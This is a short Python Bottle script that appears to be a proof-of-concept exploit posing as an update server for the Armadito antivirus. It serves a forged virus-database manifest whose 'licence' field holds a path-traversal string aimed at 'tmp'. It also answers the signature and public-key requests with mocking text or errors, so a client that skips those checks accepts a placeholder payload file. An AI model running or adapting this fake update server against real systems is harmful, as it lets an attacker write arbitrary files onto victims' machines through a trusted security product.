from bottle import route, run, template, abort import hashlib IP = '127.0.0.1' file_data = 'put_your_dead_cow_here' def md5(d): m = hashlib.md5() m.update(d) return m.hexdigest() @route('/current/armaditodbvirus.json') def get_db(): db = {'packageList': [{'displayName': 'cow.txt', 'fileUrl': 'http://%s/cow' % IP, 'controlSum': md5(file_data), 'controlType': 'MD5', 'licence': '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\tmp' }]} return db @route('/current/armaditodbvirus.json.sig') def get_db_sig(): # Because lol bis return "signature checking is so overrated" @route('/keys/a6o_rsa_pub.pem') def get_db_sig(): # Because lol abort(404, "public key cryptography is so overrated") @route('/cow') def get_cow(): return file_data run(host=IP, port=80, debug=True)